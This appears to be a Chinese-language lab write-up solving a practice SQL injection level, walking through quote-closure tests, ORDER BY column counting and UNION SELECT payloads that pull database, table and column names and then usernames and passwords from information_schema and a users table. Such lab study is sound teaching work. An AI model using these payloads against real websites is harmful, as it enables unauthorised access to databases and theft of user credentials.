Mysql5.0之后的版本,数据库里面会默认存放一个information_schema的库,它提供了访问数据库元数据的方式。什么是元数据呢?元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。
这里我总结了一些关于利用information_schema库进行SQL注入的模板(不是很全面,求各位大佬轻喷)
select group_concat(schema_name) from information_schema.schemataselect group_concat(table_name) from information_schema.tables where table_schema='mydb'select group_concat(column_name) from information_schema.columns where table_name='table'select group_concat(username) from mydb.table由于本人菜鸡一只,于是参考了网上的一些方法来让执行的SQL语句显示在页面上,方便学习。打开第一关的代码,将一下代码添加到执行的SQL语句下面(如下图所示)
echo $sql;echo "<br>";
这样我们就可以在屏幕上回显我们输入的SQL语句
使用hackbar在url后面输入如下内容:
?id=1可以看到回显正常
尝试在id=1后面加个',如下:
?id=1'可以看到SQL语句报错,没有闭合成功
尝试在id=1'后面加个注射,如下(以--+为例):
?id=1'--+可以看到回显正常
其实从一开始网页回显的SQL语句中可以看到变量id是采用'闭合的,当输入为?id=1'时,相当于id='1'',没有闭合成功,所以报错,可以从报错信息中得到其正确的闭合方式,这里判断是字符型注入。以上步骤只是为了演示如何在未知SQL语句的情况下对注入类型的判断。
这里我们可以使用order by来判断数据表的列数,如下
?id=1' order by 1--+回显正常,结果如下:
?id=1' order by 2--+回显正常,结果如下:
?id=1' order by 3--+回显正常,结果如下:
?id=1' order by 4--+回显错误,结果如下:
所以,可以判断该数据表的列数为3。
使用union函数,union函数使用的前提就是必须字段数要跟前面的字段数相同,此外,还需要使id的值不存在如负数或者为零,否则id查询的结果覆盖我们想要的回显内容。
?id=-1' union select 1,2,3--+执行结果如下,可以看到2,3位置是有回显的,1是没有回显的。然后我们只需在2,3位置输入我们想要查询的数据即可。
?id=-1' union select 1,database(),user()--+执行结果如下
得到当前数据库的名字为security。
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),user()--+执行结果如下
得到当前数据库下的所有数据表,接下来我们以users表为目标进行查询
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),user()--+执行结果如下:
可以看到有username,password字段,我们以这两个字段为目标继续查询
?id=-1' union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)--+执行结果如下:
可以看到我们已经成功获取了当前数据库里users表里的username与password。
以上就是我对这道题的解法。因本人菜鸡一只,如果有什么不对的地方,实属正常。还请各位大佬予以指正,谢谢!